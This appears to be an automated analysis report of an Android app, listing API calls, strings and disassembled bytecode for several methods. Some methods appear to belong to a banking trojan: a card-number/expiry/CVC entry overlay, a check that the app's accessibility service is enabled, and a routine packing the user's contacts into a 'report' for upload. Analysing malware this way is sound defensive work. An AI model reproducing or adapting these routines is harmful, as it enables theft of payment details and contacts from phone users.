                                      • java.util.List.add
                                      • java.util.Map.get
                                      • android.os.Looper.getMainLooper
                                      • android.os.Looper.myLooper
                                      • java.util.concurrent.CopyOnWriteArrayList.contains
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.Object.getClass
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • de.greenrobot.event.EventBusException.<init>
                                      Strings
                                      • Subscriber
                                      • already registered to event
                                      Position Instruction Meta Information
                                      0.param p1, "subscriber" # Ljava/lang/Object;
                                      1.param p2, "subscriberMethod" # Lde/greenrobot/event/SubscriberMethod;
                                      2.param p3, "sticky" # Z
                                      3.param p4, "priority" # I
                                      4.prologue
                                      6iget-object v0, p2, Lde/greenrobot/event/SubscriberMethod;->eventType:Ljava/lang/Class;
                                      8iget-object v7, p0, Lde/greenrobot/event/EventBus;->subscriptionsByEventType:Ljava/util/Map;
                                      10invoke-interface {v7, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      11move-result-object v6
                                      12check-cast v6, Ljava/util/concurrent/CopyOnWriteArrayList;
                                      13new-instance v2, Lde/greenrobot/event/Subscription;
                                      15invoke-direct {v2, p1, p2, p4}, Lde/greenrobot/event/Subscription;-><init>(Ljava/lang/Object;Lde/greenrobot/event/SubscriberMethod;I)V
                                      16if-nez v6, :cond_67
                                      17new-instance v6, Ljava/util/concurrent/CopyOnWriteArrayList;
                                      19invoke-direct {v6}, Ljava/util/concurrent/CopyOnWriteArrayList;-><init>()V
                                      21iget-object v7, p0, Lde/greenrobot/event/EventBus;->subscriptionsByEventType:Ljava/util/Map;
                                      23invoke-interface {v7, v0, v6}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                      24cond_1b:
                                      25invoke-virtual {v6}, Ljava/util/concurrent/CopyOnWriteArrayList;->size()I
                                      26move-result v3
                                      27const/4 v1, 0x0
                                      28goto_20: if-gt v1, v3, :cond_33
                                      29if-eq v1, v3, :cond_30
                                      30iget v8, v2, Lde/greenrobot/event/Subscription;->priority:I
                                      32invoke-virtual {v6, v1}, Ljava/util/concurrent/CopyOnWriteArrayList;->get(I)Ljava/lang/Object;
                                      33move-result-object v7
                                      34check-cast v7, Lde/greenrobot/event/Subscription;
                                      35iget v7, v7, Lde/greenrobot/event/Subscription;->priority:I
                                      36if-le v8, v7, :cond_94
                                      37cond_30:
                                      38invoke-virtual {v6, v1, v2}, Ljava/util/concurrent/CopyOnWriteArrayList;->add(ILjava/lang/Object;)V
                                      39cond_33:
                                      40iget-object v7, p0, Lde/greenrobot/event/EventBus;->typesBySubscriber:Ljava/util/Map;
                                      42invoke-interface {v7, p1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      43move-result-object v5
                                      44check-cast v5, Ljava/util/List;
                                      45if-nez v5, :cond_47
                                      46new-instance v5, Ljava/util/ArrayList;
                                      48invoke-direct {v5}, Ljava/util/ArrayList;-><init>()V
                                      50iget-object v7, p0, Lde/greenrobot/event/EventBus;->typesBySubscriber:Ljava/util/Map;
                                      52invoke-interface {v7, p1, v5}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                      53cond_47:
                                      54invoke-interface {v5, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      55if-eqz p3, :cond_66
                                      57iget-object v8, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      58monitor-enter v8
                                      59try_start_4f:
                                      60iget-object v7, p0, Lde/greenrobot/event/EventBus;->stickyEvents:Ljava/util/Map;
                                      62invoke-interface {v7, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      63move-result-object v4
                                      64monitor-exit v8
                                      65try_end_56: if-eqz v4, :cond_66
                                      67invoke-static {}, Landroid/os/Looper;->getMainLooper()Landroid/os/Looper;
                                      68move-result-object v7
                                      70invoke-static {}, Landroid/os/Looper;->myLooper()Landroid/os/Looper;
                                      71move-result-object v8
                                      72if-ne v7, v8, :cond_9a
                                      73const/4 v7, 0x1
                                      74goto_63:
                                      75invoke-direct {p0, v2, v4, v7}, Lde/greenrobot/event/EventBus;->postToSubscription(Lde/greenrobot/event/Subscription;Ljava/lang/Object;Z)V
                                      76cond_66: return-void
                                      77cond_67:
                                      78invoke-virtual {v6, v2}, Ljava/util/concurrent/CopyOnWriteArrayList;->contains(Ljava/lang/Object;)Z
                                      79move-result v7
                                      80if-eqz v7, :cond_1b
                                      81new-instance v7, Lde/greenrobot/event/EventBusException;
                                      82new-instance v8, Ljava/lang/StringBuilder;
                                      84invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                      86const-string v9, "Subscriber "
                                      88invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      89move-result-object v8
                                      91invoke-virtual {p1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                      92move-result-object v9
                                      94invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      95move-result-object v8
                                      97const-string v9, " already registered to event "
                                      99invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      100move-result-object v8
                                      102invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      103move-result-object v8
                                      105invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      106move-result-object v8
                                      108invoke-direct {v7, v8}, Lde/greenrobot/event/EventBusException;-><init>(Ljava/lang/String;)V
                                      109throw v7
                                      110cond_94: add-int/lit8 v1, v1, 0x1
                                      111goto/16 :goto_20
                                      112catchall_97: move-exception v7
                                      113try_start_98: monitor-exit v8
                                      114try_end_99: throw v7
                                      115cond_9a: const/4 v7, 0x0
                                      116goto/16 :goto_63
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      Strings
                                      • PingResult{ia=
                                      • , isReachable=
                                      • , error=\'
                                      • , timeTaken=
                                      • , fullString=\'
                                      • , result=\'
                                      Position Instruction Meta Information
                                      0.prologue
                                      1const/16 v2, 0x27
                                      2new-instance v0, Ljava/lang/StringBuilder;
                                      4invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                      6const-string v1, "PingResult{ia="
                                      8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      9move-result-object v0
                                      11iget-object v1, p0, Lcom/aviasalea/ping/PingResult;->ia:Ljava/net/InetAddress;
                                      13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                      14move-result-object v0
                                      16const-string v1, ", isReachable="
                                      18invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      19move-result-object v0
                                      20iget-boolean v1, p0, Lcom/aviasalea/ping/PingResult;->isReachable:Z
                                      22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                                      23move-result-object v0
                                      25const-string v1, ", error=\'"
                                      27invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      28move-result-object v0
                                      30iget-object v1, p0, Lcom/aviasalea/ping/PingResult;->error:Ljava/lang/String;
                                      32invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      33move-result-object v0
                                      35invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                      36move-result-object v0
                                      38const-string v1, ", timeTaken="
                                      40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      41move-result-object v0
                                      42iget v1, p0, Lcom/aviasalea/ping/PingResult;->timeTaken:F
                                      44invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
                                      45move-result-object v0
                                      47const-string v1, ", fullString=\'"
                                      49invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      50move-result-object v0
                                      52iget-object v1, p0, Lcom/aviasalea/ping/PingResult;->fullString:Ljava/lang/String;
                                      54invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      55move-result-object v0
                                      57invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                      58move-result-object v0
                                      60const-string v1, ", result=\'"
                                      62invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      63move-result-object v0
                                      65iget-object v1, p0, Lcom/aviasalea/ping/PingResult;->result:Ljava/lang/String;
                                      67invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      68move-result-object v0
                                      70invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                      71move-result-object v0
                                      72const/16 v1, 0x7d
                                      74invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                                      75move-result-object v0
                                      77invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      78move-result-object v0
                                      79return-object v0
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.g.view.GView.getContext
                                      • android.content.Context.getSystemService
                                      • android.view.LayoutInflater.inflate
                                      • com.aviasalea.injs.g.view.GView.findViewById
                                      • com.aviasalea.injs.g.view.GView.findViewById
                                      • com.aviasalea.injs.g.view.GView.edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setEditText
                                      • com.aviasalea.injs.g.view.GView.findViewById
                                      • com.aviasalea.injs.g.view.GView.findViewById
                                      • com.aviasalea.injs.g.view.GView.edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setEditText
                                      • com.aviasalea.injs.g.view.GView.findViewById
                                      • com.aviasalea.injs.g.view.GView.findViewById
                                      • com.aviasalea.injs.g.view.GView.edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setEditText
                                      • com.aviasalea.injs.g.view.GView.findViewById
                                      • com.aviasalea.injs.g.view.GView.findViewById
                                      • com.aviasalea.injs.g.view.GView.findViewById
                                      • com.aviasalea.injs.g.view.GView.findViewById
                                      • com.aviasalea.injs.g.view.GView.findViewById
                                      • com.aviasalea.injs.g.view.GView.onEdCardChangeListener
                                      • com.aviasalea.injs.g.view.GView.onEdExpirationDateChangeListener
                                      • com.aviasalea.injs.g.view.GView.onEdCVCChangeListener
                                      • com.aviasalea.injs.g.view.GView.onBtnSaveListener
                                      Strings
                                      • layout_inflater
                                      Position Instruction Meta Information
                                      0.prologue
                                      1new-instance v4, Lcom/aviasalea/injs/g/model/GData;
                                      3invoke-direct {v4}, Lcom/aviasalea/injs/g/model/GData;-><init>()V
                                      4iput-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->GData:Lcom/aviasalea/injs/g/model/GData;
                                      6invoke-virtual {p0}, Lcom/aviasalea/injs/g/view/GView;->getContext()Landroid/content/Context;
                                      7move-result-object v4
                                      9const-string v5, "layout_inflater"
                                      11invoke-virtual {v4, v5}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                      12move-result-object v3
                                      13check-cast v3, Landroid/view/LayoutInflater;
                                      14if-eqz v3, :cond_a9
                                      15const v4, 0x7f080001
                                      17invoke-virtual {v3, v4, p0}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/View;
                                      18const v4, 0x7f06001c
                                      20invoke-virtual {p0, v4}, Lcom/aviasalea/injs/g/view/GView;->findViewById(I)Landroid/view/View;
                                      21move-result-object v4
                                      22check-cast v4, Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      23iput-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      24const v4, 0x7f060013
                                      26invoke-virtual {p0, v4}, Lcom/aviasalea/injs/g/view/GView;->findViewById(I)Landroid/view/View;
                                      27move-result-object v0
                                      28check-cast v0, Landroid/widget/EditText;
                                      30iget-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->edCard:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      32invoke-virtual {v4, v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setEditText(Landroid/widget/EditText;)V
                                      33const v4, 0x7f06001d
                                      35invoke-virtual {p0, v4}, Lcom/aviasalea/injs/g/view/GView;->findViewById(I)Landroid/view/View;
                                      36move-result-object v4
                                      37check-cast v4, Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      38iput-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      39const v4, 0x7f060021
                                      41invoke-virtual {p0, v4}, Lcom/aviasalea/injs/g/view/GView;->findViewById(I)Landroid/view/View;
                                      42move-result-object v2
                                      43check-cast v2, Landroid/widget/EditText;
                                      45iget-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->edExpDate:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      47invoke-virtual {v4, v2}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setEditText(Landroid/widget/EditText;)V
                                      48const v4, 0x7f06001b
                                      50invoke-virtual {p0, v4}, Lcom/aviasalea/injs/g/view/GView;->findViewById(I)Landroid/view/View;
                                      51move-result-object v4
                                      52check-cast v4, Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      53iput-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      54const v4, 0x7f06001a
                                      56invoke-virtual {p0, v4}, Lcom/aviasalea/injs/g/view/GView;->findViewById(I)Landroid/view/View;
                                      57move-result-object v1
                                      58check-cast v1, Landroid/widget/EditText;
                                      60iget-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->edCVC:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      62invoke-virtual {v4, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setEditText(Landroid/widget/EditText;)V
                                      63const v4, 0x7f06002c
                                      65invoke-virtual {p0, v4}, Lcom/aviasalea/injs/g/view/GView;->findViewById(I)Landroid/view/View;
                                      66move-result-object v4
                                      67check-cast v4, Landroid/widget/ImageView;
                                      68iput-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->imVisa:Landroid/widget/ImageView;
                                      69const v4, 0x7f06002b
                                      71invoke-virtual {p0, v4}, Lcom/aviasalea/injs/g/view/GView;->findViewById(I)Landroid/view/View;
                                      72move-result-object v4
                                      73check-cast v4, Landroid/widget/ImageView;
                                      74iput-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->imMastercard:Landroid/widget/ImageView;
                                      75const v4, 0x7f060028
                                      77invoke-virtual {p0, v4}, Lcom/aviasalea/injs/g/view/GView;->findViewById(I)Landroid/view/View;
                                      78move-result-object v4
                                      79check-cast v4, Landroid/widget/ImageView;
                                      80iput-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->imAmex:Landroid/widget/ImageView;
                                      81const v4, 0x7f060035
                                      83invoke-virtual {p0, v4}, Lcom/aviasalea/injs/g/view/GView;->findViewById(I)Landroid/view/View;
                                      84move-result-object v4
                                      85check-cast v4, Landroid/widget/LinearLayout;
                                      86iput-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->llSecond:Landroid/widget/LinearLayout;
                                      87const v4, 0x7f060011
                                      89invoke-virtual {p0, v4}, Lcom/aviasalea/injs/g/view/GView;->findViewById(I)Landroid/view/View;
                                      90move-result-object v4
                                      91check-cast v4, Landroid/widget/Button;
                                      92iput-object v4, p0, Lcom/aviasalea/injs/g/view/GView;->btnSave:Landroid/widget/Button;
                                      94invoke-direct {p0}, Lcom/aviasalea/injs/g/view/GView;->onEdCardChangeListener()V
                                      96invoke-direct {p0}, Lcom/aviasalea/injs/g/view/GView;->onEdExpirationDateChangeListener()V
                                      98invoke-direct {p0}, Lcom/aviasalea/injs/g/view/GView;->onEdCVCChangeListener()V
                                      100invoke-direct {p0}, Lcom/aviasalea/injs/g/view/GView;->onBtnSaveListener()V
                                      101cond_a9: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.injs.g.val.CEnum.getLength
                                      • java.lang.String.split
                                      • java.util.Arrays.asList
                                      • java.util.ArrayList.<init>
                                      • java.util.ArrayList.<init>
                                      • java.util.ArrayList.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • java.lang.String.contains
                                      • java.lang.String.split
                                      • java.lang.String.trim
                                      • java.lang.Integer.parseInt
                                      • java.lang.String.trim
                                      • java.lang.Integer.parseInt
                                      • java.lang.Integer.valueOf
                                      • java.util.ArrayList.add
                                      • java.lang.String.trim
                                      • java.lang.Integer.parseInt
                                      • java.lang.Integer.valueOf
                                      • java.util.ArrayList.add
                                      Strings
                                      • ,
                                      • -
                                      Position Instruction Meta Information
                                      0.param p1, "cEnum" # Lcom/aviasalea/injs/g/val/CEnum;
                                      1.annotation system Ldalvik/annotation/Signature;
                                      2value = {
                                      3"(",
                                      4"Lcom/aviasalea/injs/g/val/CEnum;",
                                      5")",
                                      6"Ljava/util/ArrayList",
                                      7"<",
                                      8"Ljava/lang/Integer;",
                                      9">;"
                                      10}
                                      11.end annotation
                                      12.prologue
                                      13new-instance v3, Ljava/util/ArrayList;
                                      15invoke-virtual {p1}, Lcom/aviasalea/injs/g/val/CEnum;->getLength()Ljava/lang/String;
                                      16move-result-object v7
                                      18const-string v8, ","
                                      20invoke-virtual {v7, v8}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                      21move-result-object v7
                                      23invoke-static {v7}, Ljava/util/Arrays;->asList([Ljava/lang/Object;)Ljava/util/List;
                                      24move-result-object v7
                                      26invoke-direct {v3, v7}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
                                      27new-instance v4, Ljava/util/ArrayList;
                                      29invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
                                      31invoke-virtual {v3}, Ljava/util/ArrayList;->iterator()Ljava/util/Iterator;
                                      32move-result-object v7
                                      33goto_1c:
                                      34invoke-interface {v7}, Ljava/util/Iterator;->hasNext()Z
                                      35move-result v8
                                      36if-eqz v8, :cond_69
                                      38invoke-interface {v7}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      39move-result-object v2
                                      40check-cast v2, Ljava/lang/String;
                                      42const-string v8, "-"
                                      44invoke-virtual {v2, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                      45move-result v8
                                      46if-eqz v8, :cond_59
                                      48const-string v8, "-"
                                      50invoke-virtual {v2, v8}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                      51move-result-object v5
                                      52const/4 v8, 0x0
                                      53aget-object v8, v5, v8
                                      55invoke-virtual {v8}, Ljava/lang/String;->trim()Ljava/lang/String;
                                      56move-result-object v8
                                      58invoke-static {v8}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      59move-result v6
                                      60const/4 v8, 0x1
                                      61aget-object v8, v5, v8
                                      63invoke-virtual {v8}, Ljava/lang/String;->trim()Ljava/lang/String;
                                      64move-result-object v8
                                      66invoke-static {v8}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      67move-result v0
                                      68move v1, v6
                                      69goto_4d: if-gt v1, v0, :cond_1c
                                      71invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      72move-result-object v8
                                      74invoke-virtual {v4, v8}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                      75add-int/lit8 v1, v1, 0x1
                                      76goto/16 :goto_4d
                                      77cond_59:
                                      78invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
                                      79move-result-object v8
                                      81invoke-static {v8}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      82move-result v8
                                      84invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                      85move-result-object v8
                                      87invoke-virtual {v4, v8}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                                      88goto/16 :goto_1c
                                      89cond_69: return-object v4
                                      Cross References
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • android.content.Context.getPackageName
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.Class.getCanonicalName
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.toString
                                      • android.content.Context.getApplicationContext
                                      • android.content.Context.getContentResolver
                                      • android.provider.Settings$Secure.getInt
                                      • android.text.TextUtils$SimpleStringSplitter.<init>
                                      • android.content.Context.getApplicationContext
                                      • android.content.Context.getContentResolver
                                      • android.provider.Settings$Secure.getString
                                      • android.text.TextUtils$SimpleStringSplitter.setString
                                      • android.text.TextUtils$SimpleStringSplitter.hasNext
                                      • android.text.TextUtils$SimpleStringSplitter.next
                                      • java.lang.String.equalsIgnoreCase
                                      • android.provider.Settings$SettingNotFoundException.printStackTrace
                                      Strings
                                      • /
                                      • accessibility_enabled
                                      • enabled_accessibility_services
                                      Position Instruction Meta Information
                                      0.param p0, "context" # Landroid/content/Context;
                                      1.prologue
                                      2const/4 v6, 0x1
                                      3const/4 v0, 0x0
                                      4new-instance v7, Ljava/lang/StringBuilder;
                                      6invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
                                      8invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                      9move-result-object v8
                                      11invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      12move-result-object v7
                                      14const-string v8, "/"
                                      16invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      17move-result-object v7
                                      18const-class v8, Lcom/aviasalea/srs/GPSrs;
                                      20invoke-virtual {v8}, Ljava/lang/Class;->getCanonicalName()Ljava/lang/String;
                                      21move-result-object v8
                                      23invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                      24move-result-object v7
                                      26invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                      27move-result-object v4
                                      28try_start_23:
                                      29invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                      30move-result-object v7
                                      32invoke-virtual {v7}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                      33move-result-object v7
                                      35const-string v8, "accessibility_enabled"
                                      37invoke-static {v7, v8}, Landroid/provider/Settings$Secure;->getInt(Landroid/content/ContentResolver;Ljava/lang/String;)I
                                      38try_end_30: move-result v0
                                      39goto_31: new-instance v3, Landroid/text/TextUtils$SimpleStringSplitter;
                                      40const/16 v7, 0x3a
                                      42invoke-direct {v3, v7}, Landroid/text/TextUtils$SimpleStringSplitter;-><init>(C)V
                                      43if-ne v0, v6, :cond_63
                                      45invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                      46move-result-object v7
                                      48invoke-virtual {v7}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                      49move-result-object v7
                                      51const-string v8, "enabled_accessibility_services"
                                      53invoke-static {v7, v8}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                      54move-result-object v5
                                      55if-eqz v5, :cond_63
                                      57invoke-virtual {v3, v5}, Landroid/text/TextUtils$SimpleStringSplitter;->setString(Ljava/lang/String;)V
                                      58cond_4d:
                                      59invoke-virtual {v3}, Landroid/text/TextUtils$SimpleStringSplitter;->hasNext()Z
                                      60move-result v7
                                      61if-eqz v7, :cond_63
                                      63invoke-virtual {v3}, Landroid/text/TextUtils$SimpleStringSplitter;->next()Ljava/lang/String;
                                      64move-result-object v1
                                      66invoke-virtual {v1, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      67move-result v7
                                      68if-eqz v7, :cond_4d
                                      69goto_5d: return v6
                                      70catch_5e: move-exception v2
                                      72invoke-virtual {v2}, Landroid/provider/Settings$SettingNotFoundException;->printStackTrace()V
                                      73goto/16 :goto_31
                                      74cond_63: const/4 v6, 0x0
                                      75goto/16 :goto_5d
                                      Cross References
                                      APIs
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.put
                                      • com.aviasalea.Realtalk.getPsuedoID
                                      • org.json.JSONObject.put
                                      • org.json.JSONArray.<init>
                                      • java.util.List.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • org.json.JSONObject.<init>
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONArray.put
                                      • org.json.JSONObject.put
                                      • org.json.JSONObject.put
                                      Strings
                                      • report
                                      • contacts
                                      • id
                                      • name
                                      • number
                                      • objects
                                      • 1
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7new-instance v3, Lorg/json/JSONObject;
                                      9invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
                                      10new-instance v4, Lorg/json/JSONObject;
                                      12invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
                                      14const-string v5, "report"
                                      16const-string v6, "contacts"
                                      18invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      20const-string v5, "id"
                                      22invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPsuedoID(Landroid/content/Context;)Ljava/lang/String;
                                      23move-result-object v6
                                      25invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      26new-instance v1, Lorg/json/JSONArray;
                                      28invoke-direct {v1}, Lorg/json/JSONArray;-><init>()V
                                      30iget-object v5, p0, Lcom/aviasalea/srs/api/requests/RegistrationReportStep6Request;->mContactList:Ljava/util/List;
                                      32invoke-interface {v5}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                      33move-result-object v5
                                      34goto_25:
                                      35invoke-interface {v5}, Ljava/util/Iterator;->hasNext()Z
                                      36move-result v6
                                      37if-eqz v6, :cond_48
                                      39invoke-interface {v5}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      40move-result-object v0
                                      41check-cast v0, Lcom/aviasalea/cntcts/Contact;
                                      42new-instance v2, Lorg/json/JSONObject;
                                      44invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                                      46const-string v6, "name"
                                      48iget-object v7, v0, Lcom/aviasalea/cntcts/Contact;->name:Ljava/lang/String;
                                      50invoke-virtual {v2, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      52const-string v6, "number"
                                      54iget-object v7, v0, Lcom/aviasalea/cntcts/Contact;->phoneNumber:Ljava/lang/String;
                                      56invoke-virtual {v2, v6, v7}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      58invoke-virtual {v1, v2}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                                      59goto/16 :goto_25
                                      60cond_48:
                                      61const-string v5, "objects"
                                      63invoke-virtual {v3, v5, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      65const-string v5, "1"
                                      67invoke-virtual {v4, v5, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                      69invoke-static {v4}, Lcom/aviasalea/api/tls/TxtTls;->getPostParamsUTF8(Lorg/json/JSONObject;)Ljava/lang/String;
                                      70move-result-object v5
                                      71return-object v5
                                      APIs
                                      • java.lang.StringBuilder.<init>
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
                                      • java.lang.StringBuilder.append
